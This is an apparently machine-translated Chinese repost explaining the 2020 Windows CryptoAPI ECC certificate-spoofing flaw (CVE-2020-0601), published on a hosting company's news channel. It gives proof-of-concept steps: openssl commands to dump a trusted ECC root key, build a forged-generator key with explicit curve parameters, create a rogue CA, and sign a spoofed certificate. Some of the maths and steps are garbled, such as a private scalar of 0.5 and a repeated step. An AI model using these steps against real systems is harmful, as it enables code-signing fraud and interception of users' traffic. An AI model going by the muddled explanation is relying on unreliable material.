您好,登錄后才能下訂單哦!
本篇文章給大家分享的是有關如何使用POC解釋了CHAINOFFOOLS,小編覺得挺實用的,因此分享給大家學習,希望大家閱讀完這篇文章后可以有所收獲,話不多說,跟著小編一起來看看吧。
2020年1月14日,星期二,MICROSOFT解決了NSA在win10,windows server 2016和2019版本的CRYPT32.DLL中發現的一個嚴重漏洞。
Microsoft發布了有關此漏洞的以下信息:
Windows CryptoAPI(Crypt32.dll)驗證橢圓曲線密碼術(ECC)證書的方式中存在一個欺騙漏洞。
攻擊者可以通過使用欺騙性的代碼簽名證書對惡意可執行文件進行簽名來利用此漏洞,從而使該文件似乎來自可靠的合法來源。用戶將無法知道文件是惡意的,因為數字簽名似乎來自受信任的提供程序。
成功的利用還可以使攻擊者進行中間人攻擊,并在與受影響軟件的用戶連接上解密機密信息。
盡管這說得相對模糊,但我們可以從CERT網站收集更多信息:
結果,攻擊者可能能夠制作看來具有被追蹤到受信任的根證書頒發機構的能力的證書。
依靠Windows CertGetCertificateChain()函數來確定是否可以將X.509證書跟蹤到受信任的根CA的任何軟件(包括第三方非Microsoft軟件)都可能錯誤地確定證書鏈的可信賴性。
支持使用帶有指定參數的ECC密鑰的證書的Microsoft Windows版本會受到影響。
我們可以知道 該漏洞可能使攻擊者可以創建代碼簽名證書來簽署惡意可執行文件,從而使該文件看起來好像來自受信任的合法來源。
在NSA通報中我們可以看到
包含僅與標準曲線部分匹配的顯式定義的橢圓曲線參數的證書是可疑的,尤其是如果它們包含受信任證書的公鑰時
那么我們可以使用與標準曲線不完全匹配的ECC和顯式參數來制作證書!
這不難理解
在ECDSA中,私鑰K是一個大整數,而公鑰Pk是橢圓曲線上通過計算E得出的點,用于生成具有較大質數階的曲線生成器(通常與您使用的曲線一起標準化) )。
那么我們可以知道:
因此,這里的想法是,在提供的證書中指定顯式曲線參數時,證書的加載方式存在一些缺陷。
具體來說,您可以選擇任何生成器,就可以為現有的公共密鑰創建私鑰。我們可以輕松計算出來并且偽造一個生成器,那么我們通過這個漏洞將會知道已知或者說想要攻擊的CA的公鑰所對應的私鑰。
那么我們要如何實現這個漏洞的復現呢。
我們可以利用現有的證書或現有我們想要攻擊的證書以及其公共密鑰Pk和未知密鑰k就足夠了。我們再看回到上面的公式kG=Pk,現在我們來構造一些隨機值x,然后代入公式中去為G'x=Pk。那么x為我們新生成的密鑰,所以我們在用Pk新創建的密鑰就是將證書公共密鑰的有效密鑰。這將有效地使我們欺騙Microsoft CryptoAPI
那么我們實知道某些CA證書的密鑰,而當使用與標準生成器不同的生成器時,我們實際上就知道它的密鑰。
那么我們可以編寫poc了
首先,我們需要找到Windows的Trusted Root CA中的某些目標證書,這里我們使用ECC并對其進行攻擊。
現在我們需要獲取ECC的公鑰,我們直接在USERTrustECCCertificationAuthority.crt -text -noout中使用openssl x509-輕松得到ECC的
Certificate: Data: Version: 3 (0x2) Serial Number: 5c:8b:99:c5:5a:94:c5:d2:71:56:de:cd:89:80:cc:26 Signature Algorithm: ecdsa-with-SHA384 Issuer: C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust ECC Certification Authority Validity Not Before: Feb 1 00:00:00 2010 GMT Not After : Jan 18 23:59:59 2038 GMT Subject: C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust ECC Certification Authority Subject Public Key Info: Public Key Algorithm: id-ecPublicKey Public-Key: (384 bit) pub: 04:1a:ac:54:5a:a9:f9:68:23:e7:7a:d5:24:6f:53: c6:5a:d8:4b:ab:c6:d5:b6:d1:e6:73:71:ae:dd:9c: d6:0c:61:fd:db:a0:89:03:b8:05:14:ec:57:ce:ee: 5d:3f:e2:21:b3:ce:f7:d4:8a:79:e0:a3:83:7e:2d: 97:d0:61:c4:f1:99:dc:25:91:63:ab:7f:30:a3:b4: 70:e2:c7:a1:33:9c:f3:bf:2e:5c:53:b1:5f:b3:7d: 32:7f:8a:34:e3:79:79 ASN1 OID: secp384r1 NIST CURVE: P-384 X509v3 extensions: X509v3 Subject Key Identifier: 3A:E1:09:86:D4:CF:19:C2:96:76:74:49:76:DC:E0:35:C6:63:63:9A X509v3 Key Usage: critical Certificate Sign, CRL Sign X509v3 Basic Constraints: critical CA:TRUE Signature Algorithm: ecdsa-with-SHA384 30:65:02:30:36:67:a1:16:08:dc:e4:97:00:41:1d:4e:be:e1: 63:01:cf:3b:aa:42:11:64:a0:9d:94:39:02:11:79:5c:7b:1d: fa:64:b9:ee:16:42:b3:bf:8a:c2:09:c4:ec:e4:b1:4d:02:31: 00:e9:2a:61:47:8c:52:4a:4b:4e:18:70:f6:d6:44:d6:6e:f5: 83:ba:6d:58:bd:24:d9:56:48:ea:ef:c4:a2:46:81:88:6a:3a: 46:d1:a9:9b:4d:c9:61:da:d1:5d:57:6a:18
我們拿到了它的之中的一點Pk值
(0x1aac545aa9f96823e77ad5246f53c65ad84babc6d5b6d1e67371aedd9cd60c61fddba08903b80514ec57ceee5d3fe221,0xb3cef7d48a79e0a3837e2d97d061c4f199dc259163ab7f30a3b470e2c7a1339cf3bf2e5c53b15fb37d327f8a34e37979)
根據上面的理論我們得構造一個或多個的隨機值x,我們可以取x值為1,但為了方便演示,我們得取一個合適的x,這里我們取x為0.5。
接下來,我們只需要生成一個帶有顯式曲線參數的pem文件,并使用生成器生成我們的惡意私鑰即可。通過首先使用創建一個模板pem文件,openssl ecparam -name secp384r1 -genkey -noout -out p384-key.pem -param_enc explicit
然后使用Python的Crypto.IO PEM模塊對其進行編輯來完成。(有關詳細信息,請參見PoC代碼。)
然后,下一步是生成與真實序列相匹配的惡意CA公共文件
我們首先像通常一樣生成一個全新的證書:
openssl ecparam -name prime256v1 -genkey -noout -out prime256v1-privkey.pem
然后我們可以像通常那樣生成一個證書簽名請求:
openssl req -key prime256v1-privkey.pem -config openssl.cnf -new -out prime256v1.csr使用可以在存儲庫中找到的openssl.cnf
配置文件。
最后,我們可以對使用我們的惡意CA進行CSR并獲得我們的最終公共證書:
openssl x509 -req -in prime256v1.csr -CA ca-rogue.pem -CAkey p384-key-rogue.pem -CAcreateserial -out client-cert.pem -days 500 -extensions v3_req -extfile openssl.cnf
然后,下一步是生成與真實序列相匹配的惡意CA公共文件
從上面來看我們已經能夠使用任意域名和使用者替代名稱簽署證書,并且Windows的CryptoAPI會將其識別為受信任的證書。注意(只要已經加載了根證書一次,它就在證書緩存中。)
最后,請記住,該漏洞不會被腳本小子或勒索軟件利用。盡管這仍然是一個大問題,因為它可能允許對任何網站進行中間人攻擊,但您仍需要面對一個擁有您所運營的網絡的對手,這對于民族國家的對手來說是可能的,但是對于腳本小子來說卻不能。這就是為什么我們發布此PoC的原因,此漏洞的可利用性不足以導致突然的勒索軟件威脅(與Wannacry一樣)。這也可能就是為什么國家安全局決定不武器化他們的發現,而寧愿披露它的原因。
以上就是如何使用POC解釋了CHAINOFFOOLS,小編相信有部分知識點可能是我們日常工作會見到或用到的。希望你能通過這篇文章學到更多知識。更多詳情敬請關注億速云行業資訊頻道。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。